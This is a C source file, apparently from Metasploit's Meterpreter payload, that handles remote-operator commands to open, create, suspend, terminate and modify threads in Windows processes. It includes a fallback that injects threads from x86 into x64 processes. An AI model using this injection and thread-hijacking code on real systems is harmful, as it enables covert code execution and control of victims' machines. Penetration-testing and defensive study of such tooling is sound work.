mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-24 10:09:49 +02:00

The create thread functionality would work in all cases except where the thread was being created in an x64 process from an x86 process. This commit adds support for this by reusing the wow64 injection code in this case.
630 lines
16 KiB
C
630 lines
16 KiB
C
#include "precomp.h"
|
|
#include "../../../../../common/arch/win/remote_thread.h"
|
|
#include "../../../../../common/arch/win/i386/base_inject.h"
|
|
|
|
ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name, DWORD size);
|
|
VOID set_thread_register_value(LPCONTEXT, LPCSTR name, ULONG value);
|
|
|
|
typedef BOOL (WINAPI *PISWOW64PROCESS)(HANDLE, PBOOL);
|
|
static PISWOW64PROCESS pIsWow64Process = NULL;
|
|
|
|
BOOL IsWow64Process(HANDLE hProcess)
|
|
{
|
|
BOOL result = FALSE;
|
|
|
|
if (!pIsWow64Process)
|
|
{
|
|
pIsWow64Process = (PISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
|
|
}
|
|
|
|
if (pIsWow64Process)
|
|
{
|
|
if (!pIsWow64Process(hProcess, &result))
|
|
{
|
|
result = FALSE;
|
|
}
|
|
}
|
|
|
|
return result;
|
|
}
|
|
|
|
/*
|
|
* Opens a thread with the supplied identifier using the supplied permissions
|
|
* and returns a HANDLE to the requestor
|
|
*
|
|
* req: TLV_TYPE_THREAD_ID - The thread identifier to open
|
|
* req: TLV_TYPE_THREAD_PERMS - Thre thread permissions to open with
|
|
*/
|
|
DWORD request_sys_process_thread_open(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
HANDLE handle = NULL;
|
|
DWORD result = ERROR_SUCCESS;
|
|
DWORD threadId;
|
|
DWORD perms;
|
|
|
|
// Get the parameters
|
|
threadId = packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_ID);
|
|
perms = packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_PERMS);
|
|
|
|
do
|
|
{
|
|
// Validate parameters
|
|
if (!threadId)
|
|
{
|
|
result = ERROR_INVALID_PARAMETER;
|
|
break;
|
|
}
|
|
|
|
// Open the thread
|
|
if (!(handle = OpenThread(perms, FALSE, threadId)))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Add the handle to the response packet
|
|
packet_add_tlv_uint(response, TLV_TYPE_THREAD_HANDLE, (DWORD)handle);
|
|
|
|
} while (0);
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Creates a thread in the context of the supplied process and returns the
|
|
* handle that was allocated to represent it to the requestor.
|
|
*
|
|
* req: TLV_TYPE_HANDLE - The process handle within which to allocate the
|
|
* thread.
|
|
* req: TLV_TYPE_ENTRY_POINT - The entry point of the thread.
|
|
* opt: TLV_TYPE_ENTRY_PARAMETER - The parameter that is passed to the thread
|
|
* entry
|
|
* req: TLV_TYPE_CREATION_FLAGS - Flags used for creation of the thread
|
|
*/
|
|
DWORD request_sys_process_thread_create(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
HANDLE hProcess, hThread = NULL;
|
|
LPVOID lpEntryPoint;
|
|
LPVOID lpEntryParam;
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
DWORD dwCreateFlags;
|
|
DWORD dwThreadId;
|
|
|
|
// Snag the parameters
|
|
hProcess = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_HANDLE);
|
|
lpEntryPoint = (LPVOID)packet_get_tlv_value_uint(packet, TLV_TYPE_ENTRY_POINT);
|
|
lpEntryParam = (LPVOID)packet_get_tlv_value_uint(packet, TLV_TYPE_ENTRY_PARAMETER);
|
|
dwCreateFlags = packet_get_tlv_value_uint(packet, TLV_TYPE_CREATION_FLAGS);
|
|
|
|
do
|
|
{
|
|
// No process handle or entry point?
|
|
if (!hProcess || !lpEntryPoint)
|
|
{
|
|
dwResult = ERROR_INVALID_PARAMETER;
|
|
break;
|
|
}
|
|
|
|
dprintf("[THREAD CREATE] CreateFlags: %x", dwCreateFlags);
|
|
|
|
// Create the thread in the process supplied
|
|
if (!(hThread = create_remote_thread(hProcess, 0, lpEntryPoint, lpEntryParam, dwCreateFlags, &dwThreadId)))
|
|
{
|
|
dprintf("[THREAD CREATE] Failed to create remote thread");
|
|
dwResult = GetLastError();
|
|
|
|
if (dwResult == ERROR_ACCESS_DENIED
|
|
&& dwMeterpreterArch == PROCESS_ARCH_X86
|
|
&& IsWow64Process(GetCurrentProcess())
|
|
&& !IsWow64Process(hProcess))
|
|
{
|
|
dprintf("[THREAD CREATE] Target is x64, attempting wow64 injection");
|
|
|
|
// looking good, let's see if we can do the wow64 injection.
|
|
dwResult = inject_via_remotethread_wow64(hProcess, lpEntryPoint, lpEntryParam, &hThread);
|
|
if (dwResult != ERROR_SUCCESS)
|
|
{
|
|
dprintf("[THREAD CREATE] Wow64 injection failed: %u (%x)", dwResult, dwResult);
|
|
break;
|
|
}
|
|
|
|
// the wow64 thread creation creates the thread in a suspended state, so unless there
|
|
// is the suspended flag set, we need to resume it
|
|
if ((dwCreateFlags & CREATE_SUSPENDED) == 0)
|
|
{
|
|
ResumeThread(hThread);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
dprintf("[THREAD CREATE] Thread creation failed: %u (%x)", dwResult, dwResult);
|
|
break;
|
|
}
|
|
}
|
|
|
|
dprintf("[THREAD CREATE] Thread creation succeeded");
|
|
// Set the thread identifier and handle on the response
|
|
packet_add_tlv_uint(response, TLV_TYPE_THREAD_ID, dwThreadId);
|
|
packet_add_tlv_uint(response, TLV_TYPE_THREAD_HANDLE, (DWORD)hThread);
|
|
|
|
} while (0);
|
|
|
|
packet_transmit_response(dwResult, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Close a previously opened thread handle
|
|
*
|
|
* req: TLV_TYPE_THREAD_HANDLE - The thread handle to close
|
|
*/
|
|
DWORD request_sys_process_thread_close(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
HANDLE thread;
|
|
DWORD result = ERROR_SUCCESS;
|
|
|
|
if ((thread = (HANDLE)packet_get_tlv_value_uint(packet,
|
|
TLV_TYPE_THREAD_HANDLE)))
|
|
CloseHandle(thread);
|
|
else
|
|
result = ERROR_INVALID_PARAMETER;
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Returns a list of thread identifiers that are running in the context of the
|
|
* supplied process.
|
|
*
|
|
* req: TLV_TYPE_PID - The process identifier to operate on
|
|
*/
|
|
DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
THREADENTRY32 entry;
|
|
HANDLE th32 = NULL;
|
|
DWORD result = ERROR_SUCCESS;
|
|
DWORD processId;
|
|
|
|
processId = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);
|
|
|
|
do
|
|
{
|
|
// Validate the process identifier
|
|
if (!processId)
|
|
{
|
|
result = ERROR_INVALID_PARAMETER;
|
|
break;
|
|
}
|
|
|
|
// Get a snapshot of the threads running in the supplied process
|
|
if (!(th32 = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, processId)))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
entry.dwSize = sizeof(entry);
|
|
|
|
// If the first enumeration fails, see why
|
|
if (Thread32First(th32, &entry))
|
|
{
|
|
// Keep looping until there are no more threads
|
|
do
|
|
{
|
|
if (entry.th32OwnerProcessID != processId)
|
|
continue;
|
|
|
|
packet_add_tlv_uint(response, TLV_TYPE_THREAD_ID, entry.th32ThreadID);
|
|
|
|
} while (Thread32Next(th32, &entry));
|
|
}
|
|
|
|
// If we did not reach the end of the enumeration cleanly, something
|
|
// stupid happened
|
|
if (GetLastError() != ERROR_NO_MORE_FILES)
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
} while (0);
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
// Cleanup
|
|
if (th32)
|
|
CloseHandle(th32);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Suspends the supplied thread handle
|
|
*
|
|
* req: TLV_TYPE_THREAD_HANDLE - The thread to suspend.
|
|
*/
|
|
DWORD request_sys_process_thread_suspend(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
HANDLE thread;
|
|
DWORD result = ERROR_SUCCESS;
|
|
|
|
if ((thread = (HANDLE)packet_get_tlv_value_uint(packet,
|
|
TLV_TYPE_THREAD_HANDLE)))
|
|
{
|
|
if (SuspendThread(thread) == (DWORD)-1)
|
|
result = GetLastError();
|
|
}
|
|
else
|
|
result = ERROR_INVALID_PARAMETER;
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Resumes the supplied thread handle
|
|
*
|
|
* req: TLV_TYPE_THREAD_HANDLE - The thread to resume.
|
|
*/
|
|
DWORD request_sys_process_thread_resume(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
HANDLE thread;
|
|
DWORD result = ERROR_SUCCESS;
|
|
|
|
if ((thread = (HANDLE)packet_get_tlv_value_uint(packet,
|
|
TLV_TYPE_THREAD_HANDLE)))
|
|
{
|
|
if (ResumeThread(thread) == (DWORD)-1)
|
|
result = GetLastError();
|
|
}
|
|
else
|
|
result = ERROR_INVALID_PARAMETER;
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Terminate the supplied thread with the supplied exit code
|
|
*
|
|
* req: TLV_TYPE_THREAD_HANDLE - The thread to terminate.
|
|
* req: TLV_TYPE_EXIT_CODE - The exit code to use when terminating.
|
|
*/
|
|
DWORD request_sys_process_thread_terminate(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
HANDLE thread;
|
|
DWORD result = ERROR_SUCCESS;
|
|
DWORD code;
|
|
|
|
if ((thread = (HANDLE)packet_get_tlv_value_uint(packet,
|
|
TLV_TYPE_THREAD_HANDLE)))
|
|
{
|
|
code = packet_get_tlv_value_uint(packet, TLV_TYPE_EXIT_CODE);
|
|
|
|
if (!TerminateThread(thread, code))
|
|
result = GetLastError();
|
|
}
|
|
else
|
|
result = ERROR_INVALID_PARAMETER;
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Query the register state of the supplied thread
|
|
*
|
|
* req: TLV_TYPE_THREAD_HANDLE - The thread to query
|
|
*/
|
|
DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
HANDLE thread;
|
|
DWORD result = ERROR_SUCCESS;
|
|
|
|
do
|
|
{
|
|
if ((thread = (HANDLE)packet_get_tlv_value_uint(packet,
|
|
TLV_TYPE_THREAD_HANDLE)))
|
|
{
|
|
CONTEXT context;
|
|
DWORD index;
|
|
struct
|
|
{
|
|
LPCSTR name;
|
|
DWORD size;
|
|
} regs[] =
|
|
{
|
|
{ "eax", 4 },
|
|
{ "ebx", 4 },
|
|
{ "ecx", 4 },
|
|
{ "edx", 4 },
|
|
{ "esi", 4 },
|
|
{ "edi", 4 },
|
|
{ "ebp", 4 },
|
|
{ "esp", 4 },
|
|
{ "eip", 4 },
|
|
{ "ss", 2 },
|
|
{ "cs", 2 },
|
|
{ "ds", 2 },
|
|
{ "es", 2 },
|
|
{ "fs", 2 },
|
|
{ "gs", 2 },
|
|
{ "eflags", 4 },
|
|
{ NULL, 0 },
|
|
};
|
|
Tlv reg[3];
|
|
|
|
memset(&context, 0, sizeof(context));
|
|
|
|
// Get all standard registers
|
|
context.ContextFlags = CONTEXT_FULL;
|
|
|
|
// Get the thread's context
|
|
if (!GetThreadContext(thread, &context))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Get the values associated with each register
|
|
for (index = 0;
|
|
regs[index].name;
|
|
index++)
|
|
{
|
|
DWORD sizeNbo, valNbo, value;
|
|
|
|
// Get the value
|
|
value = get_thread_register_value(&context,
|
|
regs[index].name, regs[index].size);
|
|
|
|
// Convert the integer values to network byte order
|
|
sizeNbo = htonl(regs[index].size);
|
|
valNbo = htonl(value);
|
|
|
|
// Translate each register into a grouped TLV
|
|
reg[0].header.length = (DWORD)strlen(regs[index].name) + 1;
|
|
reg[0].header.type = TLV_TYPE_REGISTER_NAME;
|
|
reg[0].buffer = (PUCHAR)regs[index].name;
|
|
reg[1].header.length = sizeof(DWORD);
|
|
reg[1].header.type = TLV_TYPE_REGISTER_SIZE;
|
|
reg[1].buffer = (PUCHAR)&sizeNbo;
|
|
reg[2].header.length = sizeof(DWORD);
|
|
reg[2].header.type = TLV_TYPE_REGISTER_VALUE_32;
|
|
reg[2].buffer = (PUCHAR)&valNbo;
|
|
|
|
// Add the register
|
|
packet_add_tlv_group(response, TLV_TYPE_REGISTER, reg, 3);
|
|
}
|
|
}
|
|
else
|
|
result = ERROR_INVALID_PARAMETER;
|
|
|
|
} while (0);
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Set the register state of the supplied thread
|
|
*
|
|
* req: TLV_TYPE_THREAD_HANDLE - The thread to set
|
|
* req: TLV_TYPE_REGISTER x N - The registers to set
|
|
*/
|
|
DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
HANDLE thread;
|
|
DWORD result = ERROR_SUCCESS;
|
|
|
|
do
|
|
{
|
|
if ((thread = (HANDLE)packet_get_tlv_value_uint(packet,
|
|
TLV_TYPE_THREAD_HANDLE)))
|
|
{
|
|
CONTEXT context;
|
|
DWORD index = 0;
|
|
Tlv reg;
|
|
|
|
memset(&context, 0, sizeof(context));
|
|
|
|
// Get the current thread register state
|
|
context.ContextFlags = CONTEXT_FULL;
|
|
|
|
if (!GetThreadContext(thread, &context))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Enumerate through all of the register we're setting
|
|
while (packet_enum_tlv(packet, index++, TLV_TYPE_REGISTER,
|
|
®) == ERROR_SUCCESS)
|
|
{
|
|
LPCSTR name;
|
|
ULONG value;
|
|
Tlv nameTlv, valueTlv;
|
|
|
|
// Get the group's entries
|
|
if ((packet_get_tlv_group_entry(packet, ®,
|
|
TLV_TYPE_REGISTER_NAME, &nameTlv) != ERROR_SUCCESS) ||
|
|
(packet_get_tlv_group_entry(packet, ®,
|
|
TLV_TYPE_REGISTER_VALUE_32, &valueTlv) != ERROR_SUCCESS))
|
|
continue;
|
|
|
|
// Validate them
|
|
if ((packet_is_tlv_null_terminated(&nameTlv) != ERROR_SUCCESS)
|
|
|| (valueTlv.header.length < sizeof(ULONG)))
|
|
continue;
|
|
|
|
// Stash them
|
|
name = (LPCSTR)nameTlv.buffer;
|
|
value = ntohl(*(PULONG)valueTlv.buffer);
|
|
|
|
// Set this register's value
|
|
set_thread_register_value(&context, name, value);
|
|
}
|
|
|
|
// Update the thread's context
|
|
if (!SetThreadContext(thread, &context))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
}
|
|
else
|
|
result = ERROR_INVALID_PARAMETER;
|
|
|
|
} while (0);
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*********************
|
|
* Internal Routines *
|
|
*********************/
|
|
|
|
/*
|
|
* Returns a pointer to a four byte wide register within the context structure
|
|
* that is associated with the supplied register name
|
|
*/
|
|
// sf: we have to rewrite this for x64
|
|
#ifdef _WIN64
|
|
PULONG get_thread_register_4(LPCONTEXT context, LPCSTR name)
|
|
{
|
|
if (!strcasecmp(name, "rax"))
|
|
return (PULONG)&context->Rax;
|
|
else if (!strcasecmp(name, "rbx"))
|
|
return (PULONG)&context->Rbx;
|
|
else if (!strcasecmp(name, "rcx"))
|
|
return (PULONG)&context->Rcx;
|
|
else if (!strcasecmp(name, "rdx"))
|
|
return (PULONG)&context->Rdx;
|
|
else if (!strcasecmp(name, "rsi"))
|
|
return (PULONG)&context->Rsi;
|
|
else if (!strcasecmp(name, "rdi"))
|
|
return (PULONG)&context->Rdi;
|
|
else if (!strcasecmp(name, "rbp"))
|
|
return (PULONG)&context->Rbp;
|
|
else if (!strcasecmp(name, "rsp"))
|
|
return (PULONG)&context->Rsp;
|
|
else if (!strcasecmp(name, "rip"))
|
|
return (PULONG)&context->Rip;
|
|
else if (!strcasecmp(name, "Eflags"))
|
|
return (PULONG)&context->EFlags;
|
|
|
|
return NULL;
|
|
}
|
|
#else
|
|
PULONG get_thread_register_4(LPCONTEXT context, LPCSTR name)
|
|
{
|
|
if (!strcasecmp(name, "eax"))
|
|
return &context->Eax;
|
|
else if (!strcasecmp(name, "ebx"))
|
|
return &context->Ebx;
|
|
else if (!strcasecmp(name, "ecx"))
|
|
return &context->Ecx;
|
|
else if (!strcasecmp(name, "edx"))
|
|
return &context->Edx;
|
|
else if (!strcasecmp(name, "esi"))
|
|
return &context->Esi;
|
|
else if (!strcasecmp(name, "edi"))
|
|
return &context->Edi;
|
|
else if (!strcasecmp(name, "ebp"))
|
|
return &context->Ebp;
|
|
else if (!strcasecmp(name, "esp"))
|
|
return &context->Esp;
|
|
else if (!strcasecmp(name, "eip"))
|
|
return &context->Eip;
|
|
else if (!strcasecmp(name, "eflags"))
|
|
return &context->EFlags;
|
|
|
|
return NULL;
|
|
}
|
|
#endif
|
|
/*
|
|
* Returns a pointer to a two byte wide register within the context structure
|
|
* that is associated with the supplied register name
|
|
*/
|
|
PULONG get_thread_register_2(LPCONTEXT context, LPCSTR name)
|
|
{
|
|
if (!strcasecmp(name, "ss"))
|
|
return (PULONG)&context->SegSs;
|
|
else if (!strcasecmp(name, "cs"))
|
|
return (PULONG)&context->SegCs;
|
|
else if (!strcasecmp(name, "ds"))
|
|
return (PULONG)&context->SegDs;
|
|
else if (!strcasecmp(name, "es"))
|
|
return (PULONG)&context->SegEs;
|
|
else if (!strcasecmp(name, "fs"))
|
|
return (PULONG)&context->SegFs;
|
|
else if (!strcasecmp(name, "gs"))
|
|
return (PULONG)&context->SegGs;
|
|
|
|
return NULL;
|
|
}
|
|
|
|
/*
|
|
* Returns the value of the supplied register within the context
|
|
*/
|
|
ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name,
|
|
DWORD size)
|
|
{
|
|
ULONG value = 0;
|
|
|
|
switch (size)
|
|
{
|
|
case 4:
|
|
{
|
|
PULONG val = get_thread_register_4(context, name);
|
|
|
|
if (val)
|
|
value = *val;
|
|
}
|
|
break;
|
|
case 2:
|
|
{
|
|
PULONG val = get_thread_register_2(context, name);
|
|
|
|
if (val)
|
|
value = *val & 0xffff;
|
|
}
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
|
|
return value;
|
|
}
|
|
|
|
/*
|
|
* Sets the value of the supplied register
|
|
*/
|
|
VOID set_thread_register_value(LPCONTEXT context, LPCSTR name,
|
|
ULONG value)
|
|
{
|
|
PULONG val = get_thread_register_4(context, name);
|
|
|
|
if (val)
|
|
*val = value;
|
|
}
|